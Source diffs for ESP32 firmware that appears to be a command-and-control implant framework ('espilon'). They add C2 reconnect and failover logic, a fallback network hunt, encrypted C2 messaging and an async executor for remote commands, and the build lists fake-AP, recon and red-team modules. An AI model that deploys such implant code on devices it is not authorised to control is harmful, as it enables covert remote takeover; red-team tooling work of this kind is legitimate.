set(PRIV_REQUIRES_LIST
mbedtls
lwip
mod_network
nvs_flash
lwip
mod_network
mod_fakeAP
mod_recon
mod_honeypot
mod_fallback
mod_redteam
mod_canbus
esp_timer
esp_driver_uart
driver
command
freertos
)
idf_component_register(
SRCS "crypto.c" "process.c" "WiFi.c" "gprs.c" "messages.c" "com.c"
"command.c" "command_async.c"
"nanoPB/c2.pb.c"
"nanoPB/pb_common.c"
"nanoPB/pb_encode.c"
"nanoPB/pb_common.c"
"nanoPB/pb_encode.c"
"nanoPB/pb_decode.c"
INCLUDE_DIRS "." "nanoPB"

View File

@ -9,6 +9,7 @@
#include "esp_log.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "freertos/timers.h"
#include "esp_wifi.h"
#include "esp_event.h"
#include "esp_netif.h"
@ -16,17 +17,142 @@
#include "c2.pb.h"
#include "pb_decode.h"
#include "freertos/semphr.h"
#include <stdatomic.h>
#include "utils.h"
#ifdef CONFIG_MODULE_FALLBACK
#include "fb_config.h"
#include "fb_hunt.h"
#endif
int sock = -1;
SemaphoreHandle_t sock_mutex = NULL;
/* Fallback hunt flag: when true, WiFi.c skips its own reconnect logic */
atomic_bool fb_active = false;
#ifdef CONFIG_NETWORK_WIFI
static const char *TAG = "CORE_WIFI";
#define RX_BUF_SIZE 4096
#define RECONNECT_DELAY_MS 5000
#define RX_TIMEOUT_S 10
/* =========================================================
* WiFi reconnect with exponential backoff + full restart
* ========================================================= */
#define WIFI_BACKOFF_INIT_MS 1000
#define WIFI_BACKOFF_MAX_MS 30000
#define WIFI_MAX_RETRIES 10 /* full restart after N failures */
static int wifi_retry_count = 0;
static uint32_t wifi_backoff_ms = WIFI_BACKOFF_INIT_MS;
static TimerHandle_t reconnect_timer = NULL;
static void wifi_reconnect_cb(TimerHandle_t t)
{
ESP_LOGI(TAG, "Reconnect attempt %d (backoff %lums)",
wifi_retry_count + 1, (unsigned long)wifi_backoff_ms);
if (wifi_retry_count >= WIFI_MAX_RETRIES) {
ESP_LOGW(TAG, "Max retries reached — full WiFi restart");
esp_wifi_stop();
vTaskDelay(pdMS_TO_TICKS(500));
esp_wifi_start();
esp_wifi_connect();
wifi_retry_count = 0;
wifi_backoff_ms = WIFI_BACKOFF_INIT_MS;
return;
}
esp_wifi_connect();
}
/* =========================================================
* WiFi event handler backoff reconnect on disconnect
* ========================================================= */
static void wifi_event_handler(void *arg, esp_event_base_t event_base,
int32_t event_id, void *event_data)
{
if (event_base == WIFI_EVENT && event_id == WIFI_EVENT_STA_DISCONNECTED) {
wifi_event_sta_disconnected_t *evt =
(wifi_event_sta_disconnected_t *)event_data;
/* If fallback hunt is active, it handles WiFi — skip reconnect */
if (fb_active) {
ESP_LOGI(TAG, "WiFi disconnected (reason=%d, fb_active — skipping reconnect)",
evt->reason);
return;
}
#ifdef CONFIG_MODULE_FAKEAP
/* If FakeAP is active, don't reconnect STA (would interfere with AP mode) */
if (fakeap_active) {
ESP_LOGI(TAG, "WiFi disconnected (reason=%d, fakeAP active — skipping reconnect)",
evt->reason);
return;
}
#endif
ESP_LOGW(TAG, "WiFi disconnected (reason=%d), retry in %lums",
evt->reason, (unsigned long)wifi_backoff_ms);
wifi_retry_count++;
#if defined(CONFIG_FB_AUTO_HUNT) && defined(CONFIG_FB_WIFI_FAIL_THRESHOLD)
if (wifi_retry_count >= CONFIG_FB_WIFI_FAIL_THRESHOLD && !fb_active) {
ESP_LOGW(TAG, "WiFi failures >= %d — triggering fallback hunt",
CONFIG_FB_WIFI_FAIL_THRESHOLD);
extern void fb_hunt_trigger(void);
fb_hunt_trigger();
return;
}
#endif
/* Schedule reconnect with backoff */
if (reconnect_timer) {
xTimerChangePeriod(reconnect_timer,
pdMS_TO_TICKS(wifi_backoff_ms),
0);
xTimerStart(reconnect_timer, 0);
}
/* Exponential backoff: 1s → 2s → 4s → ... → 30s */
wifi_backoff_ms *= 2;
if (wifi_backoff_ms > WIFI_BACKOFF_MAX_MS)
wifi_backoff_ms = WIFI_BACKOFF_MAX_MS;
}
if (event_base == IP_EVENT && event_id == IP_EVENT_STA_GOT_IP) {
ip_event_got_ip_t *evt = (ip_event_got_ip_t *)event_data;
ESP_LOGI(TAG, "Got IP: " IPSTR, IP2STR(&evt->ip_info.ip));
/* Reset backoff on successful connection */
wifi_retry_count = 0;
wifi_backoff_ms = WIFI_BACKOFF_INIT_MS;
if (reconnect_timer)
xTimerStop(reconnect_timer, 0);
}
}
/* =========================================================
* Pause/resume reconnect (used by Red Team hunt module)
* ========================================================= */
void wifi_pause_reconnect(void)
{
if (reconnect_timer)
xTimerStop(reconnect_timer, 0);
ESP_LOGI(TAG, "WiFi reconnect paused");
}
void wifi_resume_reconnect(void)
{
wifi_retry_count = 0;
wifi_backoff_ms = WIFI_BACKOFF_INIT_MS;
ESP_LOGI(TAG, "WiFi reconnect resumed (backoff reset)");
}
/* =========================================================
* WiFi init
@ -41,6 +167,16 @@ void wifi_init(void)
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
ESP_ERROR_CHECK(esp_wifi_init(&cfg));
/* Reconnect timer (one-shot, started on disconnect) */
reconnect_timer = xTimerCreate("wifi_reconn", pdMS_TO_TICKS(1000),
pdFALSE, NULL, wifi_reconnect_cb);
/* Register event handlers */
ESP_ERROR_CHECK(esp_event_handler_register(WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED,
&wifi_event_handler, NULL));
ESP_ERROR_CHECK(esp_event_handler_register(IP_EVENT, IP_EVENT_STA_GOT_IP,
&wifi_event_handler, NULL));
wifi_config_t wifi_config = {
.sta = {
.ssid = CONFIG_WIFI_SSID,
@ -63,8 +199,8 @@ static bool tcp_connect(void)
{
struct sockaddr_in server_addr = {0};
sock = lwip_socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0) {
int new_sock = lwip_socket(AF_INET, SOCK_STREAM, 0);
if (new_sock < 0) {
ESP_LOGE(TAG, "socket() failed");
return false;
}
@ -73,15 +209,22 @@ static bool tcp_connect(void)
server_addr.sin_port = htons(CONFIG_SERVER_PORT);
server_addr.sin_addr.s_addr = inet_addr(CONFIG_SERVER_IP);
if (lwip_connect(sock,
if (lwip_connect(new_sock,
(struct sockaddr *)&server_addr,
sizeof(server_addr)) != 0) {
ESP_LOGE(TAG, "connect() failed");
lwip_close(sock);
sock = -1;
lwip_close(new_sock);
return false;
}
/* Recv timeout: prevents blocking forever if C2 dies without FIN */
struct timeval tv = { .tv_sec = RX_TIMEOUT_S, .tv_usec = 0 };
lwip_setsockopt(new_sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
xSemaphoreTake(sock_mutex, portMAX_DELAY);
sock = new_sock;
xSemaphoreGive(sock_mutex);
ESP_LOGI(TAG, "Connected to %s:%d",
CONFIG_SERVER_IP,
CONFIG_SERVER_PORT);
@ -89,59 +232,261 @@ static bool tcp_connect(void)
}
/* =========================================================
* Server identity verification (challenge-response AEAD)
*
* Sends HELLO:device_id, server responds with AEAD-encrypted
* challenge. If we can decrypt it (tag OK), the server has
* the correct key and is authentic.
* ========================================================= */
#ifdef CONFIG_C2_VERIFY_SERVER
static bool server_verify(void)
{
/* 1) Send HELLO:device_id\n */
char hello[128];
snprintf(hello, sizeof(hello), "HELLO:%s\n", CONFIG_DEVICE_ID);
xSemaphoreTake(sock_mutex, portMAX_DELAY);
int s = sock;
xSemaphoreGive(sock_mutex);
if (lwip_write(s, hello, strlen(hello)) <= 0) {
ESP_LOGE(TAG, "server_verify: failed to send HELLO");
return false;
}
/* 2) Read server challenge (recv timeout already set to 10s) */
uint8_t rx_buf[256];
int len = lwip_recv(s, rx_buf, sizeof(rx_buf) - 1, 0);
if (len <= 0) {
ESP_LOGE(TAG, "server_verify: no challenge received");
return false;
}
rx_buf[len] = '\0';
/* Strip trailing newline/CR */
while (len > 0 && (rx_buf[len - 1] == '\n' || rx_buf[len - 1] == '\r'))
rx_buf[--len] = '\0';
if (len == 0) {
ESP_LOGE(TAG, "server_verify: empty challenge");
return false;
}
/* 3) Base64 decode */
size_t decoded_len = 0;
char *decoded = base64_decode((char *)rx_buf, &decoded_len);
if (!decoded || decoded_len < 28) { /* nonce(12) + tag(16) minimum */
ESP_LOGE(TAG, "server_verify: base64 decode failed");
free(decoded);
return false;
}
/* 4) Decrypt — AEAD tag verification proves server identity */
uint8_t plain[256];
int plain_len = crypto_decrypt((uint8_t *)decoded, decoded_len,
plain, sizeof(plain));
free(decoded);
if (plain_len < 0) {
ESP_LOGE(TAG, "server_verify: AEAD verification FAILED");
return false;
}
return true;
}
#endif /* CONFIG_C2_VERIFY_SERVER */
/* =========================================================
* Handle incoming frame
* ========================================================= */
static void handle_frame(const uint8_t *buf, size_t len)
{
char tmp[len + 1];
memcpy(tmp, buf, len);
tmp[len] = '\0';
c2_decode_and_exec(tmp);
if (len == 0 || len >= RX_BUF_SIZE) {
ESP_LOGW(TAG, "Frame too large or empty (%d bytes), dropping", (int)len);
return;
}
/* buf is already null-terminated by strtok in tcp_rx_loop,
and c2_decode_and_exec makes its own 1024-byte copy. */
c2_decode_and_exec((const char *)buf);
}
/* =========================================================
* TCP RX loop
* Returns: true = still connected, false = disconnected
* ========================================================= */
static void tcp_rx_loop(void)
static bool tcp_rx_loop(void)
{
static uint8_t rx_buf[RX_BUF_SIZE];
int len = lwip_recv(sock, rx_buf, sizeof(rx_buf) - 1, 0);
if (len <= 0) {
ESP_LOGW(TAG, "RX failed / disconnected");
xSemaphoreTake(sock_mutex, portMAX_DELAY);
int current_sock = sock;
xSemaphoreGive(sock_mutex);
if (current_sock < 0) return false;
int len = lwip_recv(current_sock, rx_buf, sizeof(rx_buf) - 1, 0);
if (len < 0) {
/* Timeout is normal (EAGAIN/EWOULDBLOCK) — not a disconnect */
if (errno == EAGAIN || errno == EWOULDBLOCK) {
return true;
}
ESP_LOGW(TAG, "RX error: errno=%d", errno);
xSemaphoreTake(sock_mutex, portMAX_DELAY);
lwip_close(sock);
sock = -1;
return;
xSemaphoreGive(sock_mutex);
return false;
}
if (len == 0) {
ESP_LOGW(TAG, "RX: peer closed connection");
xSemaphoreTake(sock_mutex, portMAX_DELAY);
lwip_close(sock);
sock = -1;
xSemaphoreGive(sock_mutex);
return false;
}
/* IMPORTANT: string termination for strtok */
rx_buf[len] = '\0';
char *line = strtok((char *)rx_buf, "\n");
char *saveptr = NULL;
char *line = strtok_r((char *)rx_buf, "\n", &saveptr);
while (line) {
handle_frame((uint8_t *)line, strlen(line));
line = strtok(NULL, "\n");
line = strtok_r(NULL, "\n", &saveptr);
}
return true;
}
/* =========================================================
* C2 failover: try NVS fallback addresses on same network
* ========================================================= */
#ifdef CONFIG_FB_AUTO_HUNT
static bool try_fallback_c2s(void)
{
fb_c2_addr_t addrs[CONFIG_FB_MAX_C2_FALLBACKS];
int count = fb_config_c2_list(addrs, CONFIG_FB_MAX_C2_FALLBACKS);
for (int i = 0; i < count; i++) {
char ip_buf[48];
int port = CONFIG_SERVER_PORT;
strncpy(ip_buf, addrs[i].addr, sizeof(ip_buf) - 1);
ip_buf[sizeof(ip_buf) - 1] = '\0';
/* Parse "ip:port" format */
char *colon = strrchr(ip_buf, ':');
if (colon) {
*colon = '\0';
port = atoi(colon + 1);
if (port <= 0 || port > 65535) port = CONFIG_SERVER_PORT;
}
ESP_LOGI(TAG, "Trying C2 fallback: %s:%d", ip_buf, port);
/* Close current socket */
xSemaphoreTake(sock_mutex, portMAX_DELAY);
if (sock >= 0) { lwip_close(sock); sock = -1; }
xSemaphoreGive(sock_mutex);
/* Try connect to fallback C2 */
struct sockaddr_in server_addr = {0};
int new_sock = lwip_socket(AF_INET, SOCK_STREAM, 0);
if (new_sock < 0) continue;
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(port);
server_addr.sin_addr.s_addr = inet_addr(ip_buf);
if (lwip_connect(new_sock, (struct sockaddr *)&server_addr,
sizeof(server_addr)) != 0) {
lwip_close(new_sock);
continue;
}
struct timeval tv = { .tv_sec = RX_TIMEOUT_S, .tv_usec = 0 };
lwip_setsockopt(new_sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
xSemaphoreTake(sock_mutex, portMAX_DELAY);
sock = new_sock;
xSemaphoreGive(sock_mutex);
ESP_LOGI(TAG, "C2 fallback %s:%d connected", ip_buf, port);
return true;
}
return false;
}
#endif /* CONFIG_FB_AUTO_HUNT */
/* =========================================================
* Main TCP client task
* ========================================================= */
void tcp_client_task(void *pvParameters)
{
if (!sock_mutex)
sock_mutex = xSemaphoreCreateMutex();
#ifdef CONFIG_FB_AUTO_HUNT
int tcp_fail_count = 0;
#endif
while (1) {
/* If fallback hunt is active, wait for it to finish */
while (fb_active) {
vTaskDelay(pdMS_TO_TICKS(1000));
}
if (!tcp_connect()) {
#ifdef CONFIG_FB_AUTO_HUNT
tcp_fail_count++;
ESP_LOGW(TAG, "TCP connect failed (%d/%d)",
tcp_fail_count, CONFIG_FB_TCP_FAIL_THRESHOLD);
if (tcp_fail_count >= CONFIG_FB_TCP_FAIL_THRESHOLD && !fb_active) {
/* Level 1: C2 failover on same network */
if (try_fallback_c2s()) {
tcp_fail_count = 0;
goto handshake;
}
/* Level 2: full network hunt */
ESP_LOGW(TAG, "All C2 unreachable — triggering fallback hunt");
fb_hunt_trigger();
tcp_fail_count = 0;
continue;
}
#endif
vTaskDelay(pdMS_TO_TICKS(RECONNECT_DELAY_MS));
continue;
}
#ifdef CONFIG_FB_AUTO_HUNT
tcp_fail_count = 0;
#endif
#ifdef CONFIG_C2_VERIFY_SERVER
if (!server_verify()) {
ESP_LOGE(TAG, "Server verification FAILED - possible MITM");
xSemaphoreTake(sock_mutex, portMAX_DELAY);
lwip_close(sock);
sock = -1;
xSemaphoreGive(sock_mutex);
vTaskDelay(pdMS_TO_TICKS(RECONNECT_DELAY_MS));
continue;
}
ESPILON_LOGI_PURPLE(TAG, "Server identity verified (AEAD challenge OK)");
#endif
#ifdef CONFIG_FB_AUTO_HUNT
handshake:
#endif
msg_info(TAG, CONFIG_DEVICE_ID, NULL);
ESP_LOGI(TAG, "Handshake done");
while (sock >= 0) {
tcp_rx_loop();
if (!tcp_rx_loop()) break;
vTaskDelay(1);
}

View File

@ -17,7 +17,7 @@ bool com_init(void)
xTaskCreatePinnedToCore(
tcp_client_task,
"tcp_client_task",
8192,
12288,
NULL,
1,
NULL,

View File

@ -1,4 +1,3 @@
#include "command.h"
#include "utils.h"
#include "esp_log.h"
@ -63,12 +62,20 @@ void command_log_registry_summary(void)
for (size_t i = 0; i < registry_count; i++) {
const char *name = registry[i] && registry[i]->name
? registry[i]->name : "?";
const char *sub = (registry[i] && registry[i]->sub && registry[i]->sub[0])
? registry[i]->sub : NULL;
const char *sep = (i == 0) ? "" : ", ";
int n = snprintf(buf + off, sizeof(buf) - (size_t)off,
int n;
if (sub) {
n = snprintf(buf + off, sizeof(buf) - (size_t)off,
"%s%s %s", sep, name, sub);
} else {
n = snprintf(buf + off, sizeof(buf) - (size_t)off,
"%s%s", sep, name);
}
if (n < 0 || n >= (int)(sizeof(buf) - (size_t)off)) {
if (off < (int)sizeof(buf) - 4) {
strcpy(buf + (sizeof(buf) - 4), "...");
memcpy(buf + (sizeof(buf) - 4), "...", 4);
}
break;
}
@ -158,43 +165,58 @@ void command_process_pb(const c2_Command *cmd)
if (strcmp(c->name, name) != 0)
continue;
if (argc < c->min_args || argc > c->max_args) {
/*
* Sub-command matching: if the command has a .sub field,
* argv[0] must match it. The sub is consumed (argv shifted
* by 1) before passing to the handler.
*/
int sub_offset = 0;
if (c->sub && c->sub[0]) {
if (argc < 1 || strcmp(cmd->argv[0], c->sub) != 0)
continue; /* not this sub-command, try next */
sub_offset = 1;
}
int effective_argc = argc - sub_offset;
if (effective_argc < c->min_args || effective_argc > c->max_args) {
msg_error("cmd", "Invalid argument count", reqid_or_null);
return;
}
ESP_LOGI(TAG, "Execute: %s (argc=%d)", name, argc);
if (c->sub && c->sub[0]) {
ESP_LOGI(TAG, "Execute: %s %s (argc=%d)", name, c->sub, effective_argc);
} else {
ESP_LOGI(TAG, "Execute: %s (argc=%d)", name, effective_argc);
}
if (c->async) {
/* Ton async copie déjà argv/request_id dans une queue => OK */
command_async_enqueue(c, cmd);
command_async_enqueue(c, cmd, sub_offset);
return;
}
/* ================================
* SYNC PATH (FIX):
* Ne PAS caster cmd->argv en char**
* On construit argv_ptrs[] depuis cmd->argv[i]
* SYNC PATH:
* Build argv_ptrs[] from cmd->argv, skipping sub_offset
* ================================ */
if (argc > COMMAND_MAX_ARGS) {
if (effective_argc > COMMAND_MAX_ARGS) {
msg_error("cmd", "Too many args", reqid_or_null);
return;
}
char *argv_ptrs[COMMAND_MAX_ARGS] = {0};
for (int a = 0; a < argc; a++) {
/* Fonctionne que cmd->argv soit char*[N] ou char[N][M] */
argv_ptrs[a] = (char *)cmd->argv[a];
for (int a = 0; a < effective_argc; a++) {
argv_ptrs[a] = (char *)cmd->argv[a + sub_offset];
}
/* Deep-copy pour rendre sync aussi safe que async */
char **argv_copy = NULL;
char *arena = NULL;
if (!deepcopy_argv(argv_ptrs, argc, &argv_copy, &arena, reqid_or_null))
if (!deepcopy_argv(argv_ptrs, effective_argc, &argv_copy, &arena, reqid_or_null))
return;
c->handler(argc, argv_copy, reqid_or_null, c->ctx);
c->handler(effective_argc, argv_copy, reqid_or_null, c->ctx);
free(argv_copy);
free(arena);

View File

@ -0,0 +1,204 @@
#include "utils.h"
#include "esp_log.h"
#include "esp_timer.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "freertos/queue.h"
#include <string.h>
#include <stdio.h>
static const char *TAG = "CMD_ASYNC";
/* =========================================================
* Configuration
* ========================================================= */
#ifndef CONFIG_ASYNC_WORKER_COUNT
#define CONFIG_ASYNC_WORKER_COUNT 2
#endif
#ifndef CONFIG_ASYNC_QUEUE_DEPTH
#define CONFIG_ASYNC_QUEUE_DEPTH 8
#endif
#define ASYNC_WORKER_STACK 4096
#define WATCHDOG_INTERVAL_MS 5000
#define WATCHDOG_TIMEOUT_US (60 * 1000000LL) /* 60s */
/* =========================================================
* Async job structure
* ========================================================= */
typedef struct {
const command_t *cmd;
int argc;
char argv[MAX_ASYNC_ARGS][MAX_ASYNC_ARG_LEN];
char *argv_ptrs[MAX_ASYNC_ARGS];
char request_id[64];
} async_job_t;
/* =========================================================
* Per-worker state (watchdog tracking)
* ========================================================= */
typedef struct {
volatile int64_t start_us; /* 0 = idle */
volatile bool alerted; /* already reported to C2 */
const char *cmd_name; /* current command name */
char request_id[64];
} worker_state_t;
static QueueHandle_t async_queue;
static worker_state_t worker_states[CONFIG_ASYNC_WORKER_COUNT];
/* =========================================================
* Watchdog task monitors workers for stuck commands
* ========================================================= */
static void watchdog_task(void *arg)
{
while (1) {
vTaskDelay(pdMS_TO_TICKS(WATCHDOG_INTERVAL_MS));
int64_t now = esp_timer_get_time();
for (int i = 0; i < CONFIG_ASYNC_WORKER_COUNT; i++) {
worker_state_t *ws = &worker_states[i];
if (ws->start_us == 0 || ws->alerted)
continue;
int64_t elapsed = now - ws->start_us;
if (elapsed > WATCHDOG_TIMEOUT_US) {
int secs = (int)(elapsed / 1000000LL);
char buf[128];
snprintf(buf, sizeof(buf),
"Worker %d stuck: '%s' running for %ds",
i, ws->cmd_name ? ws->cmd_name : "?", secs);
ESP_LOGW(TAG, "%s", buf);
msg_error("cmd_async", buf,
ws->request_id[0] ? ws->request_id : NULL);
ws->alerted = true;
}
}
}
}
/* =========================================================
* Worker task (multiple instances share the same queue)
* ========================================================= */
static void async_worker(void *arg)
{
int worker_id = (int)(intptr_t)arg;
worker_state_t *ws = &worker_states[worker_id];
async_job_t job;
while (1) {
if (xQueueReceive(async_queue, &job, portMAX_DELAY)) {
/* Recompute argv_ptrs to point into THIS copy's argv buffers.
* xQueueReceive copies the struct by value, so the old
* pointers (set at enqueue time) are now dangling. */
for (int i = 0; i < job.argc; i++) {
job.argv_ptrs[i] = job.argv[i];
}
/* Mark worker as busy for watchdog */
ws->cmd_name = job.cmd->name;
strncpy(ws->request_id, job.request_id, sizeof(ws->request_id) - 1);
ws->alerted = false;
ws->start_us = esp_timer_get_time();
ESP_LOGI(TAG, "Worker %d exec: %s", worker_id, job.cmd->name);
job.cmd->handler(
job.argc,
job.argv_ptrs,
job.request_id[0] ? job.request_id : NULL,
job.cmd->ctx
);
/* Mark worker as idle */
ws->start_us = 0;
}
}
}
/* =========================================================
* Init async system
* ========================================================= */
void command_async_init(void)
{
memset(worker_states, 0, sizeof(worker_states));
async_queue = xQueueCreate(CONFIG_ASYNC_QUEUE_DEPTH, sizeof(async_job_t));
if (!async_queue) {
ESP_LOGE(TAG, "Failed to create async queue");
return;
}
for (int i = 0; i < CONFIG_ASYNC_WORKER_COUNT; i++) {
char name[16];
snprintf(name, sizeof(name), "cmd_async_%d", i);
BaseType_t ret = xTaskCreatePinnedToCore(
async_worker,
name,
ASYNC_WORKER_STACK,
(void *)(intptr_t)i,
5,
NULL,
1 /* Core 1 */
);
if (ret != pdPASS) {
ESP_LOGE(TAG, "Failed to create worker %d", i);
}
}
/* Watchdog: low priority, small stack, Core 0 */
xTaskCreatePinnedToCore(watchdog_task, "cmd_wdog", 2048,
NULL, 2, NULL, 0);
ESPILON_LOGI_PURPLE(TAG, "Async command system ready (%d workers, watchdog on)",
CONFIG_ASYNC_WORKER_COUNT);
}
/* =========================================================
* Enqueue async command
* ========================================================= */
void command_async_enqueue(const command_t *cmd,
const c2_Command *pb_cmd,
int argv_offset)
{
if (!cmd || !pb_cmd) return;
async_job_t job = {0};
job.cmd = cmd;
job.argc = pb_cmd->argv_count - argv_offset;
if (job.argc > MAX_ASYNC_ARGS)
job.argc = MAX_ASYNC_ARGS;
if (job.argc < 0)
job.argc = 0;
for (int i = 0; i < job.argc; i++) {
strncpy(job.argv[i],
pb_cmd->argv[i + argv_offset],
MAX_ASYNC_ARG_LEN - 1);
job.argv[i][MAX_ASYNC_ARG_LEN - 1] = '\0';
job.argv_ptrs[i] = job.argv[i];
}
if (pb_cmd->request_id[0]) {
strncpy(job.request_id,
pb_cmd->request_id,
sizeof(job.request_id) - 1);
job.request_id[sizeof(job.request_id) - 1] = '\0';
}
if (xQueueSend(async_queue, &job, 0) != pdTRUE) {
char buf[128];
snprintf(buf, sizeof(buf), "Async queue full, dropped '%s'",
cmd->name);
ESP_LOGE(TAG, "%s", buf);
msg_error("cmd_async", buf, pb_cmd->request_id);
}
}

View File

@ -1,68 +1,206 @@
// crypto.c
// crypto.c ChaCha20-Poly1305 AEAD with HKDF key derivation
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "esp_log.h"
#include "esp_random.h"
#include "nvs_flash.h"
#include "nvs.h"
#include "mbedtls/chacha20.h"
#include "mbedtls/chachapoly.h"
#include "mbedtls/hkdf.h"
#include "mbedtls/md.h"
#include "mbedtls/base64.h"
#include "mbedtls/platform_util.h"
#include "pb_decode.h"
#include "c2.pb.h"
#include "utils.h"
#include "command.h"
static const char *TAG = "CRYPTO";
/* ============================================================
* Compile-time security checks
* ============================================================ */
_Static_assert(sizeof(CONFIG_CRYPTO_KEY) - 1 == 32,
"CONFIG_CRYPTO_KEY must be exactly 32 bytes");
_Static_assert(sizeof(CONFIG_CRYPTO_NONCE) - 1 == 12,
"CONFIG_CRYPTO_NONCE must be exactly 12 bytes");
#define NONCE_LEN 12
#define TAG_LEN 16
#define KEY_LEN 32
#define OVERHEAD (NONCE_LEN + TAG_LEN) /* 28 bytes */
static uint8_t derived_key[KEY_LEN];
static bool crypto_ready = false;
/* ============================================================
* ChaCha20 encrypt/decrypt (same function)
* crypto_init read master key from factory NVS, derive via HKDF
* ============================================================ */
unsigned char *chacha_cd(const unsigned char *data, size_t data_len)
bool crypto_init(void)
{
if (!data || data_len == 0) {
ESP_LOGE(TAG, "Invalid input to chacha_cd");
return NULL;
esp_err_t err;
/* 1) Init the factory NVS partition */
err = nvs_flash_init_partition("fctry");
if (err != ESP_OK) {
ESP_LOGE(TAG, "nvs_flash_init_partition(fctry) failed: %s",
esp_err_to_name(err));
return false;
}
unsigned char *out = (unsigned char *)malloc(data_len);
if (!out) {
ESP_LOGE(TAG, "malloc failed in chacha_cd");
return NULL;
/* 2) Open the crypto namespace (read-only) */
nvs_handle_t handle;
err = nvs_open_from_partition(
"fctry",
CONFIG_CRYPTO_FCTRY_NS,
NVS_READONLY,
&handle
);
if (err != ESP_OK) {
ESP_LOGE(TAG, "nvs_open_from_partition(fctry/%s) failed: %s",
CONFIG_CRYPTO_FCTRY_NS, esp_err_to_name(err));
return false;
}
unsigned char key[32];
unsigned char nonce[12];
uint32_t counter = 0;
/* 3) Read the 32-byte master key blob */
uint8_t master_key[KEY_LEN];
size_t mk_len = sizeof(master_key);
memcpy(key, CONFIG_CRYPTO_KEY, sizeof(key));
memcpy(nonce, CONFIG_CRYPTO_NONCE, sizeof(nonce));
err = nvs_get_blob(handle, CONFIG_CRYPTO_FCTRY_KEY, master_key, &mk_len);
nvs_close(handle);
int ret = mbedtls_chacha20_crypt(
key,
if (err != ESP_OK || mk_len != KEY_LEN) {
ESP_LOGE(TAG, "nvs_get_blob(%s) failed: %s (len=%u)",
CONFIG_CRYPTO_FCTRY_KEY, esp_err_to_name(err),
(unsigned)mk_len);
mbedtls_platform_zeroize(master_key, sizeof(master_key));
return false;
}
/* 4) HKDF-SHA256: derive the encryption key */
const char *info = "espilon-c2-v1";
const char *salt = CONFIG_DEVICE_ID;
int ret = mbedtls_hkdf(
mbedtls_md_info_from_type(MBEDTLS_MD_SHA256),
(const uint8_t *)salt, strlen(salt),
master_key, KEY_LEN,
(const uint8_t *)info, strlen(info),
derived_key, KEY_LEN
);
/* Wipe master key from RAM immediately */
mbedtls_platform_zeroize(master_key, sizeof(master_key));
if (ret != 0) {
ESP_LOGE(TAG, "HKDF failed (%d)", ret);
return false;
}
crypto_ready = true;
ESP_LOGI(TAG, "Crypto ready (ChaCha20-Poly1305 + HKDF)");
return true;
}
/* ============================================================
* crypto_encrypt ChaCha20-Poly1305 AEAD
*
* Output layout: nonce[12] || ciphertext[plain_len] || tag[16]
* Returns total output length, or -1 on error.
* ============================================================ */
int crypto_encrypt(const uint8_t *plain, size_t plain_len,
uint8_t *out, size_t out_cap)
{
if (!crypto_ready) {
ESP_LOGE(TAG, "crypto_encrypt: not initialized");
return -1;
}
if (!plain || plain_len == 0 || !out) {
ESP_LOGE(TAG, "crypto_encrypt: invalid args");
return -1;
}
size_t needed = plain_len + OVERHEAD;
if (out_cap < needed) {
ESP_LOGE(TAG, "crypto_encrypt: buffer too small (%u < %u)",
(unsigned)out_cap, (unsigned)needed);
return -1;
}
/* Random nonce in the first 12 bytes */
esp_fill_random(out, NONCE_LEN);
mbedtls_chachapoly_context ctx;
mbedtls_chachapoly_init(&ctx);
mbedtls_chachapoly_setkey(&ctx, derived_key);
int ret = mbedtls_chachapoly_encrypt_and_tag(
&ctx,
plain_len,
out, /* nonce */
NULL, 0, /* no AAD */
plain, /* input */
out + NONCE_LEN, /* output (ciphertext) */
out + NONCE_LEN + plain_len /* tag */
);
mbedtls_chachapoly_free(&ctx);
if (ret != 0) {
ESP_LOGE(TAG, "chachapoly encrypt failed (%d)", ret);
return -1;
}
return (int)needed;
}
/* ============================================================
* crypto_decrypt ChaCha20-Poly1305 AEAD
*
* Input layout: nonce[12] || ciphertext[N] || tag[16]
* Returns plaintext length, or -1 on error / auth failure.
* ============================================================ */
int crypto_decrypt(const uint8_t *in, size_t in_len,
uint8_t *out, size_t out_cap)
{
if (!crypto_ready) {
ESP_LOGE(TAG, "crypto_decrypt: not initialized");
return -1;
}
if (!in || in_len < OVERHEAD || !out) {
ESP_LOGE(TAG, "crypto_decrypt: invalid args (in_len=%u)",
(unsigned)in_len);
return -1;
}
size_t ct_len = in_len - OVERHEAD;
if (out_cap < ct_len) {
ESP_LOGE(TAG, "crypto_decrypt: buffer too small");
return -1;
}
const uint8_t *nonce = in;
const uint8_t *ct = in + NONCE_LEN;
const uint8_t *tag = in + NONCE_LEN + ct_len;
mbedtls_chachapoly_context ctx;
mbedtls_chachapoly_init(&ctx);
mbedtls_chachapoly_setkey(&ctx, derived_key);
int ret = mbedtls_chachapoly_auth_decrypt(
&ctx,
ct_len,
nonce,
counter,
data_len,
data,
NULL, 0, /* no AAD */
tag,
ct,
out
);
mbedtls_chachapoly_free(&ctx);
if (ret != 0) {
ESP_LOGE(TAG, "ChaCha20 failed (%d)", ret);
free(out);
return NULL;
ESP_LOGE(TAG, "AEAD auth/decrypt failed (%d)", ret);
return -1;
}
return out; /* binary-safe */
return (int)ct_len;
}
/* ============================================================
@ -134,7 +272,6 @@ char *base64_decode(const char *input, size_t *output_len)
return NULL;
}
/* Optional null terminator for debug */
out[*output_len] = '\0';
return (char *)out;
}
@ -151,15 +288,14 @@ bool c2_decode_and_exec(const char *frame)
/* Trim CR/LF/spaces at end (SIM800 sometimes adds \r) */
char tmp[1024];
size_t n = strnlen(frame, sizeof(tmp) - 1);
size_t n = strnlen(frame, sizeof(tmp) - 2);
memcpy(tmp, frame, n);
tmp[n] = '\0';
while (n > 0 && (tmp[n - 1] == '\r' || tmp[n - 1] == '\n' || tmp[n - 1] == ' ')) {
tmp[n - 1] = '\0';
n--;
tmp[--n] = '\0';
}
ESP_LOGI(TAG, "C2 RX b64: %s", tmp);
ESP_LOGD(TAG, "C2 RX b64 (%u bytes)", (unsigned)n);
/* 1) Base64 decode */
size_t decoded_len = 0;
@ -170,27 +306,28 @@ bool c2_decode_and_exec(const char *frame)
return false;
}
/* 2) ChaCha decrypt */
